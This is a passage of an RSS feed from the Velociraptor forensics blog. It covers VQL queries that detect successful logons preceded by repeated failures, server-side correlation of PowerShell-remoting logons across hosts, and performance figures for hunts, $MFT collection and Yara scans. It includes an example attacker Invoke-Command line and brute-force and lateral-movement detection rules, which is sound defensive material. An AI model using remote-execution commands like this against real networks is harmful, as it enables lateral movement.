image&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The above screenshot shows that the monitoring directory now contains a&#xA;subdirectory named after the artifact we created. Inside this directory&#xA;are CSV files for each day and every failed logon attempt is detailed&#xA;there.&lt;/p&gt;&#xA;&lt;h1 id=&#34;time-correlation&#34;&gt;Time correlation&lt;/h1&gt;&#xA;&lt;p&gt;While it is interesting to see all failed logon attempts in many cases&#xA;these events are just noise. If you put any server on the internet (e.g.&#xA;an RDP or SSH server) you will experience thousands of brute force&#xA;attempts to break in. This is just the nature of the internet. If your&#xA;password policy is strong enough it should not be a big problem.&lt;/p&gt;&#xA;&lt;p&gt;However, what if someone guesses the password for one of your accounts?&#xA;Then the activity pattern is more like a bunch of failed logons followed&#xA;by a successful logon for the same account.&lt;/p&gt;&#xA;&lt;p&gt;This pattern is way more interesting than just watching for a series of&#xA;failed logons (although that is also good to know).&lt;/p&gt;&#xA;&lt;p&gt;But how do we write a query to detect this? Essentially the query needs&#xA;to look back in time to see how many failed logon attempts preceded&#xA;each successful logon.&lt;/p&gt;&#xA;&lt;p&gt;This is a typical problem which may be generalized as followed:&lt;/p&gt;&#xA;&lt;p&gt;::: {.admonition}&#xA;Goal&lt;/p&gt;&#xA;&lt;p&gt;We want to detect an event A proceeded by a specified number of events B&#xA;within a defined time window.&#xA;:::&lt;/p&gt;&#xA;&lt;p&gt;This problem may be generalized for example:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Detect a user account created and deleted within a short time&#xA;window.&lt;/li&gt;&#xA;&lt;li&gt;A beacon to a specific DNS followed by at least 5 beacons within the&#xA;last 5 hours to same DNS (Event A and B are the same).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h1 id=&#34;the-fifo-plugin&#34;&gt;The fifo() plugin&lt;/h1&gt;&#xA;&lt;p&gt;How shall we write the VQL query to achieve this? This is made possible&#xA;by use of the fifo() plugin. As its name suggests, the FIFO plugin acts&#xA;as a First In First Out cache for event queries.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/html/2019/02/14/alerting_on_event_patterns//blog/html/2019/02/14/alerting_on_event_patterns/3_.svg&#34; alt=&#34;image&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;&#34;&#xA;         width=&#34;1.0&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;3.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    image&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The plugin is given a subquery which is also a VQL query generating its&#xA;own events. As the subquery generates events, each event is kept in the&#xA;fifo plugin&#39;s cache in a first in first out manner. Events are also&#xA;expired if they are too old.&lt;/p&gt;&#xA;&lt;p&gt;We typically store the query in a variable. Each time the variable is&#xA;queried the cache is returned at once. To illustrate how this works&#xA;consider the following query:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;LET fifo_events = SELECT * FROM fifo(&#xA;  max_rows=5,&#xA;  query={&#xA;     SELECT * from watch_evtx(filename=securityLogFile)&#xA;     WHERE System.EventID.Value = 4625&#xA;   })&#xA;&#xA;SELECT * FROM foreach(&#xA;   row={&#xA;     SELECT * FROM clock(period=60)&#xA;   },&#xA;   query={&#xA;     SELECT * from fifo_events&#xA;   })&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The first query is stored into the fifo_events variable. When it is&#xA;first defined, the fifo() VQL plugin launches its subquery and simply&#xA;collects its output into its local cache in a fifo manner. This will&#xA;essentially keep the last 5 rows in its cache.&lt;/p&gt;&#xA;&lt;p&gt;The second query runs the clock() plugin to receive a clock event every&#xA;60 seconds. For each of these events, we select from the fifo_events&#xA;variable - that is we select the last 5 failed events.&lt;/p&gt;&#xA;&lt;p&gt;You can see that this allows us to query the last 5 events in the fifo&#xA;cache for every clock event. If we now replace the clock event with a&#xA;successful logon event this query will do exactly what we want:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;# This query will generate failed logon events - one per row, as&#xA;# they occur.&#xA;- LET failed_logon = SELECT EventData as FailedEventData,&#xA;     System as FailedSystem&#xA;  FROM watch_evtx(filename=securityLogFile)&#xA;  WHERE System.EventID.Value = 4625&#xA;&#xA;# This query will create a fifo() to contain the last 5 failed&#xA;# logon events.&#xA;- LET last_5_events = SELECT FailedEventData, FailedSystem&#xA;      FROM fifo(query=failed_logon,&#xA;                max_rows=5,&#xA;                max_age=atoi(string=failedLogonTimeWindow))&#xA;&#xA;# This query simply generates successful logon events.&#xA;- LET success_logon = SELECT EventData as SuccessEventData,&#xA;     System as SuccessSystem&#xA;  FROM watch_evtx(filename=securityLogFile)&#xA;  WHERE System.EventID.Value = 4624&#xA;&#xA;# For each successful event, we select the last 5 failed events&#xA;# and count them (using the group by). If the count is greater&#xA;# than 3 then we emit the row as an event.&#xA;- SELECT * FROM foreach(&#xA;    row=success_logon,&#xA;    query={&#xA;     SELECT SuccessSystem.TimeCreated.SystemTime AS LogonTime,&#xA;            SuccessSystem, SuccessEventData, FailedEventData,&#xA;            FailedSystem, count(items=SuccessSystem) as Count&#xA;     FROM last_5_events&#xA;     WHERE FailedEventData.SubjectUserName = SuccessEventData.SubjectUserName&#xA;     GROUP BY LogonTime&#xA;    })  WHERE Count &amp;gt; 3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The above query simply watches the event log for failed logins and&#xA;populates a fifo() with the last 5 failed events. At the same time we&#xA;monitor the event log for successful logon events. If we see a&#xA;successful event, we go back and check the last 5 failed events and&#xA;count them.&lt;/p&gt;&#xA;&lt;p&gt;If the failed events are for the same user and there are more than 3&#xA;then we report this as an event. We now have a high value event.&lt;/p&gt;&#xA;&lt;p&gt;Let&#39;s see what it looks like when such an event is triggered:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/html/2019/02/14/alerting_on_event_patterns//blog/html/2019/02/14/alerting_on_event_patterns/3.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;image&#34;&#xA;         width=&#34;1623&#34; height=&#34;874&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;3.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    image&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Just like before, the events are written to a daily CSV log, one event&#xA;per CSV row. It is a bit hard to see in the GUI since there is a lot of&#xA;data, (We probably need some GUI work to improve this) but there is a&#xA;single row emitted for each event, and the FailedEventData column&#xA;contains a list of all the failed login attempts stored in the fifo().&lt;/p&gt;&#xA;&lt;h1 id=&#34;server-side-queries&#34;&gt;Server side queries.&lt;/h1&gt;&#xA;&lt;p&gt;We have seen how the fifo() plugin can be used in the monitoring&#xA;artifact itself to have the client detect its own events. However, the&#xA;endpoint is usually only able to see its own events in isolation. It&#xA;would be nice to be able to detect patterns only evident by seeing&#xA;concerted behaviour from multiple endpoints at the same time.&lt;/p&gt;&#xA;&lt;p&gt;For example, consider the pattern of an attacker who compromised domain&#xA;credentials running multiple PowerShell Remoting commands across the&#xA;entire domain. A command like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;PS C:\WINDOWS\system32&amp;gt; Invoke-Command –ComputerName testcomputer -ScriptBlock {Hostname}&#xA;TestComputer&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This command will generate multiple event log entries, including event&#xA;4624 (logon) on each host. While in isolation, on each individual&#xA;endpoint this event is not suspicious, we might consider seeing this&#xA;event repeated within a short time across the domain suspicious.&lt;/p&gt;&#xA;&lt;p&gt;To set that up we would run the following artifact as a monitoring&#xA;artifact on all endpoints:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;name: Windows.Event.SuccessfulLogon&#xA;sources:&#xA; - queries:&#xA;   - SELECT EventData as SuccessEventData,&#xA;        System as SuccessSystem&#xA;     FROM watch_evtx(filename=securityLogFile)&#xA;     WHERE System.EventID.Value = 4624&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;On the server we simple install a watcher on all monitoring events from&#xA;this artifact and feed the result to the fifo(). This fills the fifo()&#xA;with the last 500 successful logon events from all clients within the&#xA;last 60 seconds:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;LET last_successful_logons = SELECT * FROM fifo(&#xA;   max_rows=500,&#xA;   max_time=60,&#xA;   query={&#xA;     SELECT * FROM watch_monitoring(&#xA;        artifact=&amp;quot;Windows.Event.SuccessfulLogon&amp;quot;)&#xA;   })&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;By counting the number of such unique events we can determine if there&#xA;were too many successful logon events from different hosts within the&#xA;last minute. This might indicate a scripted use of powershell remoting&#xA;across the domain.&lt;/p&gt;&#xA;&lt;h1 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h1&gt;&#xA;&lt;p&gt;In this post we have seen how to write artifacts which capture a time&#xA;ordered pattern of behavior. This technique is useful to codify common&#xA;attack techniques. The technique is general and we can use the same idea&#xA;on server side queries to correlate events from many hosts at the same&#xA;time.&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Velociraptor Performance</title>
      <link>https://www.velociraptor-docs.org/blog/html/2019/02/10/velociraptor_performance/</link>
      <pubDate>Sun, 10 Feb 2019 04:10:06 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/html/2019/02/10/velociraptor_performance/</guid>
      <description>&lt;p&gt;We are often asked how many resources does a Velociraptor deployment&#xA;use? How should one spec a machine for a Velociraptor deployment?&lt;/p&gt;&#xA;&lt;p&gt;We have previously said that one of the reasons we developed&#xA;Velociraptor was to improve on the performance of GRR which was not&#xA;scalable for our use case.&lt;/p&gt;&#xA;&lt;p&gt;We have been working with the team at Klein &amp;amp; Co. on several&#xA;intrusions over the past several months, which are providing valuable&#xA;opportunities to deploy and test Velociraptor in a range of real world&#xA;investigation scenarios. Through this process, we have been able to&#xA;extend Velociraptor&amp;rsquo;s functionality and prove its performance on real&#xA;client networks.&lt;/p&gt;&#xA;&lt;p&gt;I thought I would write a short blog post to show how Velociraptor&#xA;performed on such a recent engagement. In this engagement we deployed&#xA;Velociraptor on AWS and selectively pushed the client to around 600&#xA;machines running a mix of MacOS and Windows.&lt;/p&gt;&#xA;&lt;p&gt;This post will hopefully give readers some idea of how scalable the tool&#xA;is and the typical workloads we run with it.&lt;/p&gt;&#xA;&lt;h1 id=&#34;the-server&#34;&gt;The Server&lt;/h1&gt;&#xA;&lt;p&gt;Since this is a smallish deployment we used a single VM with 32Gb of RAM&#xA;and 8 cores. This was definitely over speced for this job as most of the&#xA;time the server consumed less than 10% of one core:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;top - 06:26:13 up 29 days,  2:31,  5 users,  load average: 0.00, 0.01, 0.05&#xA;Tasks: 214 total,   1 running, 213 sleeping,   0 stopped,   0 zombie&#xA;%Cpu(s):  0.5 us,  0.1 sy,  0.0 ni, 99.4 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st&#xA;KiB Mem:  32948060 total, 14877988 used, 18070072 free,   411192 buffers&#xA;KiB Swap:        0 total,        0 used,        0 free. 13381224 cached Mem&#xA;&#xA;  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND&#xA;19334 root      20   0 1277924  94592  12616 S   3.0  0.3   9:11.03 ./velociraptor --config server.config.yaml frontend&#xA;    8 root      20   0       0      0      0 S   0.3  0.0   7:16.30 [rcuos/0]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You can see that the server consumed about 95mb when operating normally&#xA;and CPU usage was around 3% of one core.&lt;/p&gt;&#xA;&lt;p&gt;For this engagement we knew that we would be collecting a lot of data&#xA;and so we specified a large 500gb volume.&lt;/p&gt;&#xA;&lt;h1 id=&#34;hunt-performance&#34;&gt;Hunt performance&lt;/h1&gt;&#xA;&lt;p&gt;Velociraptor works by collecting &amp;quot;Artifacts&amp;quot; from clients. Artifacts&#xA;are simply encapsulated VQL queries which specify something to search&#xA;for on the endpoint. Without going into the details of this engagement,&#xA;we can say that we collected typical artifacts for a DFIR/Forensic&#xA;investigation engagement. In the following I want to explore how well&#xA;hunts performed for the following typical artifacts in order of&#xA;complexity:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Search the filesystem for a file glob.&lt;/li&gt;&#xA;&lt;li&gt;Download the $MFT from the root filesystem.&lt;/li&gt;&#xA;&lt;li&gt;Run a Yara scan over every file on all mounted filesystems.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;We ran these artifact collections over a large number of hosts (between&#xA;400-500) that fell within the scope of our engagement. Although the&#xA;number of hosts is not huge, we hope to demonstrate Velociraptor&#39;s&#xA;scalability.&lt;/p&gt;&#xA;&lt;h1 id=&#34;searching-for-a-file-glob&#34;&gt;Searching for a file glob&lt;/h1&gt;&#xA;&lt;p&gt;One of the simplest and most common tasks in DFIR is to search the&#xA;filesystem for a glob based on filename. This requires traversing&#xA;directories and matching the filename based on the user specified&#xA;expression - for example, find all files with the extension *.exe&#xA;within the C:\\Users directory.&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor can glob over the entire filesystem or over a limited set&#xA;of files. Typically a full filesystem glob can take some minutes on the&#xA;endpoint (it is equivalent to running the find unix command) and touches&#xA;every file. We typically try to limit the scope of the glob as much as&#xA;possible (e.g. only search system directories) but sometimes it is nice&#xA;to run a glob over all mounted filesystems to make sure we don&#39;t miss&#xA;anything. In this case we opted for a full filesystem scan.&lt;/p&gt;&#xA;&lt;p&gt;We searched the entire deployment using a hunt (The hunt is constructed&#xA;using the File Finder flow in the GUI) which just launches the artifact&#xA;collection. Therefore the horizontal distance between the red and blue&#xA;dot, in the graph below, represents the total time taken by the host to&#xA;collect the artifact.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/html/2019/02/10/velociraptor_performance//blog/html/2019/02/10/velociraptor_performance/FileNameSearch_.svg&#34; alt=&#34;image&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;531.49px&#34;&#xA;         width=&#34;531.49px&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;FileNameSearch.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    image&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The graph shows how many hosts were recruited into this hunt on the Y&#xA;axis. The X axis show the number of seconds since the hunt launch. The&#xA;red points indicate the time when clients started their collection,&#xA;while the blue dots indicate the time when the client completed the&#xA;artifact collection and the server saved its results.&lt;/p&gt;&#xA;&lt;p&gt;The inset shows the same data but zoomed into the time origin.&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor improves and builds on the initial ideas implemented within&#xA;the GRR DFIR tool, and so it is interesting to compare this graph to a&#xA;typical graph produced by GRR&#39;s hunt (reproduced from &lt;a href=&#34;https://www.sciencedirect.com/science/article/pii/S1742287613000285&#34; target=&#34;_blank&#34; &gt;this&#xA;paper&lt;/a&gt;).&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/html/2019/02/10/velociraptor_performance//blog/html/2019/02/10/velociraptor_performance/grr_hunt.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;image&#34;&#xA;         width=&#34;622&#34; height=&#34;492&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;grr_hunt.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    image&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The first noticeable difference is that Velociraptor clients complete&#xA;their collection much faster than GRR&#39;s (the horizontal distance&#xA;between the red and blue dots represents the time between when the&#xA;collection is issued and the time it completes).&lt;/p&gt;&#xA;&lt;p&gt;The main reason for this is that GRR&#39;s communication protocol relies on&#xA;polling (by default every 10 minutes). Also, since hunting is so&#xA;resource intensive in GRR, the clients actually poll the hunt foreman&#xA;task every 30 minutes by default. This means that GRR clients typically&#xA;have to wait up to 30 minutes to run a hunt!&lt;/p&gt;&#xA;&lt;p&gt;The second difference is the slope of the line around the start of the&#xA;hunt. GRR implements a hunt client rate - clients are recruited into the&#xA;hunt slowly (by default 20 per minute) in order to limit the load on the&#xA;frontends. Unlike GRR, Velociraptor does not implement a hunt rate since&#xA;the Velociraptor frontend load is controlled by limiting concurrency&#xA;instead (more on this below).&lt;/p&gt;&#xA;&lt;p&gt;This means that Velociraptor can deliver useful results within seconds&#xA;of the hunt starting. We see that this particular filename search&#xA;typically takes 25-30 seconds and we see about 200 clients completing&#xA;the hunt within this time consistently. The remaining clients are&#xA;probably not online and they receive the hunt as they join the network.&#xA;This makes Velociraptor hunts far more responsive and useful.&lt;/p&gt;&#xA;&lt;p&gt;You might also notice a few outliers which spend a long time collecting&#xA;this artifact - these machines have probably been shutdown or suspended&#xA;while collecting this artifact.&lt;/p&gt;&#xA;&lt;h1 id=&#34;mft-download&#34;&gt;MFT Download&lt;/h1&gt;&#xA;&lt;p&gt;A common technique is to examine the Master File Table (MFT) of an NTFS&#xA;volume. By forensically analyzing the MFT it is possible to detect&#xA;deleted files, time stomping and build a timeline of the system using&#xA;tools like &lt;a href=&#34;https://github.com/dkovar/analyzeMFT&#34; target=&#34;_blank&#34; &gt;&lt;code&gt;analyseMFT.py&lt;/code&gt;&lt;/a&gt; or&#xA;&lt;a href=&#34;https://dmitrybrant.com/ntfswalker&#34; target=&#34;_blank&#34; &gt;ntfswalker&lt;/a&gt; .&lt;/p&gt;&#xA;&lt;p&gt;In this case we decided to collect the $MFT from all the Windows hosts&#xA;and post-process them offline. Typically the MFT is around 300-400mb and&#xA;could be larger. Therefore this artifact collection is about performance&#xA;downloading large quantities of data from multiple hosts quickly.&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor can read the raw NTFS partition and therefore read the&#xA;$MFT file. We wrote the following artifact to just fetch the $MFT&#xA;file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;name: Artifact.NTFS.MFT_puller&#xA;description: |&#xA;   Uses an NTFS accessor to pull the $MFT&#xA;&#xA;parameters:&#xA;- name: path&#xA;  default: \\.\C:\$MFT&#xA;&#xA;sources:&#xA;- precondition:&#xA;    SELECT OS From info() where OS = &#39;windows&#39;&#xA;  queries:&#xA;  - SELECT upload(file=path, accessor=&amp;quot;ntfs&amp;quot;) as Upload from scope()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Here is the timing graph for this artifact collection:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/html/2019/02/10/velociraptor_performance//blog/html/2019/02/10/velociraptor_performance/MFTDownload_.svg&#34; alt=&#34;image&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;531.49px&#34;&#xA;         width=&#34;531.49px&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;MFTDownload.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    image&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;This collection takes a lot longer on each host as clients are uploading&#xA;around 400mb each to the server, but our server was in the cloud so it&#xA;had fast bandwidth. Again we see the hosts that are currently up being&#xA;tasked within seconds, while as hosts come online gradually we see them&#xA;receiving the hunt and a few minutes later uploading their $MFT file.&lt;/p&gt;&#xA;&lt;p&gt;Was the frontend loaded at the time? I took a screenshot of top on the&#xA;server seconds after launching the hunt:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;img class=&#34;inline&#34;&#xA;     src=&#34;https://www.velociraptor-docs.org/blog/html/2019/02/10/velociraptor_performance/UploadingMFT.png&#34;&#xA;     width=&#34;1207&#34;&#xA;     height=&#34;167&#34;/&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;We can see that the CPU load is trivial (4.7%) but the major impact of a&#xA;heavy upload collection is the memory used (about 4.7gb - up from about&#xA;100mb). The reason is that each client is posting a large buffer of data&#xA;(several mb) simultaneously. The server needs to buffer the data before&#xA;it can decrypt and process it which takes memory.&lt;/p&gt;&#xA;&lt;p&gt;In order to limit the amount of memory used, Velociraptor limits the&#xA;total number of connections it is actively processing to 8-10 concurrent&#xA;connections. By carefully managing concurrency we are able to keep a&#xA;limit on server memory use. We may lower the total memory use by&#xA;reducing the concurrency (and therefore maybe fit into a smaller VM).&#xA;Clients simply wait until the server is able to process their uploaded&#xA;buffers. If the server takes too long, the clients automatically back&#xA;off and retry to send the same buffer.&lt;/p&gt;&#xA;&lt;h1 id=&#34;yara-scan-over-the-entire-filesystem&#34;&gt;Yara scan over the entire filesystem&lt;/h1&gt;&#xA;&lt;p&gt;The final example of a very intense artifact is to scan the entire&#xA;filesystem with a YARA rule. This not only requires traversing the&#xA;entire filesystem, but also opening each file and searching it.&lt;/p&gt;&#xA;&lt;p&gt;One of the dangers with such a scan is that users will be negatively&#xA;impacted as their workstations start to read every file on disk! The&#xA;main resources a YARA scan consumes is disk IO and CPU load. Users might&#xA;complain and blame Velociraptor for their machine being slow (disk IO&#xA;may negatively affect performance much more than CPU load!).&lt;/p&gt;&#xA;&lt;p&gt;However in this case, we don&#39;t care how long we take to scan the&#xA;user&#39;s system, as long as every file was scanned, and as long as the&#xA;endpoint is not overloaded and the user&#39;s work is not affected. Luckily&#xA;Velociraptor allows us to specify the trade-off between collection time&#xA;and collection intensity.&lt;/p&gt;&#xA;&lt;h2 id=&#34;velociraptor-rate-limiting&#34;&gt;Velociraptor rate limiting&lt;/h2&gt;&#xA;&lt;p&gt;Velociraptor controls client side load by rate limiting the client&#39;s&#xA;VQL query. Each VQL plugin consumes an &amp;quot;operation&amp;quot; from the throttler.&#xA;We define an &amp;quot;operation&amp;quot; as a notional unit of work - the heavier the&#xA;VQL plugin&#39;s work, the more operations are consumed. For example for&#xA;yara scanning, an operation is defined as 1mb of scanned data, or a&#xA;single file if the file is smaller.&lt;/p&gt;&#xA;&lt;p&gt;When a user issues an artifact collection task, they may limit the rate&#xA;at which operations are performed by the client. The Velociraptor agent&#xA;then limits the operations to the specified rate. For example, if the&#xA;rate is 20 ops/sec then the client will scan less than 20mb per seconds.&lt;/p&gt;&#xA;&lt;p&gt;Other collections may run concurrently at different rates, though; The&#xA;client is not blocked while performing a single artifact collection.&#xA;This makes sense since we often need to collect a low priority artifact&#xA;slowly, but we do not want this to compromise rapid response to that&#xA;host.&lt;/p&gt;&#xA;&lt;p&gt;For example, one of our targets was a server with large attached&#xA;storage. We ran the Yara scan over this system, scanning the first 100Mb&#xA;of each file, at a rate of 50 ops/sec. In total we scanned 1.5Tb of&#xA;files and the scan took 14 hours (for a total scan rate of 30Mb/sec).&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor by default collects the Generic.Client.Stats artifact,&#xA;which samples the client&#39;s CPU utilization and memory usage every 10&#xA;seconds. These samples are streamed to the server and form a record of&#xA;the client&#39;s footprint on the endpoint. We can use this data to&#xA;visualize the effects of performing the yara scan on this host:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/html/2019/02/10/velociraptor_performance//blog/html/2019/02/10/velociraptor_performance/cpu_utilization_.svg&#34; alt=&#34;image&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;531.49px&#34;&#xA;         width=&#34;531.49px&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;cpu_utilization.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    image&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Above is the CPU usage on that particular server over the course of a&#xA;full day (24 hours). The 14 hour yara scan is clearly visible but at no&#xA;time is CPU utilization exceeding 30% of one core. With endpoint disk IO&#xA;limited to about 30mb/sec we have achieved a balance between performance&#xA;and endpoint load we are happy with.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/html/2019/02/10/velociraptor_performance//blog/html/2019/02/10/velociraptor_performance/YaraScanFull_.svg&#34; alt=&#34;image&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;531.49px&#34;&#xA;         width=&#34;531.49px&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;YaraScanFull.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    image&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;We can see that most endpoints take approximately an hour to perform&#xA;this yara scan, but server load is minimal since the server simply&#xA;stores the results of the scans while doing minimal processing.&lt;/p&gt;&#xA;&lt;h1 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h1&gt;&#xA;&lt;p&gt;This post provides some typical numbers for Velociraptor performance in&#xA;typical DFIR engagements. We also covered some considerations and&#xA;trade-offs we must think about when issuing large artifact collections.&#xA;Readers can use these as a guideline in their own deployments - please&#xA;comment below about your experiences. Velociraptor is under very active&#xA;development and this feedback is important to ensure we put in place the&#xA;mechanisms to account for more use cases.&lt;/p&gt;&#xA;&lt;h2 id=&#34;thanks&#34;&gt;Thanks&lt;/h2&gt;&#xA;&lt;p&gt;We would like to thank the folk at&#xA;&lt;a href=&#34;https://www.kleinco.com.au/&#34; target=&#34;_blank&#34; &gt;Klein&amp;amp;Co&lt;/a&gt; for their wonderful support and&#xA;assistance in Velociraptor 